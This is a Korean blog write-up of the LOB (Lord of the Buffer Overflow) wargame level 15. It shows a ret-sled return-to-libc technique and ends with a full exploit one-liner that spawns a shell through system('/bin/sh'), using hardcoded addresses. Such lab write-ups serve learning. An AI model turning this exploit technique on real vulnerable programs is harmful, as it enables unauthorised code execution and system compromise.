본문 바로가기
Security/Pwnable

LOB Level 15 giant

by J0DEV 2021. 8. 10.
반응형

giant -> assassin 으로 접속합니다.

스택도 안되고 RTL도 안된답니다. 흑....

 

그럼 다른 방법을 사용합시다.

 

 

 

 

Ret Sled
스택영역을 ret를 덮어씌울 수 없으므로, ret영역에 ret 명령의 주소를 쓰는 것이다.
dummy+&ret+&shellcode+shellcode
esp 가 ret를 가리키고
정상적인 ret가 수행되면서 esp+4
ret명령이 한번 더 실행되며 shellcode의 주소로 점프
shellcode 실행

 

 

 

한마디로 ret영역에 ret명령 주소를 씌이면 그 다음 주소로 간다는 거네요

 

그럼 그 다음 주소에 system() 의 주소를 넣으면 되겠네요

 

44byte dummy + 4byte RET + system() ADDR + 4byte dummy + /bin/sh ADDR

 

 

ret - 0x804851e

 

 

 

 

 

System - 0x40058ae0

 

 

 

 

 

/bin/sh - 0x400fbff9

 

그럼 공격 코드를 작성해보면

 

./assassin `python -c 'print "A"*44+"\x1e\x85\x04\x08"+"\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"'`

 

이렇게 되겠네요

 

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 17 zombie_assassin  (0) 2021.08.10
LOB Level 16 assassin  (0) 2021.08.10
LOB Level 14 bugbear  (0) 2021.08.10
LOB Level 13 darkknight  (0) 2021.08.10
LOB Level 12 golem  (0) 2021.08.10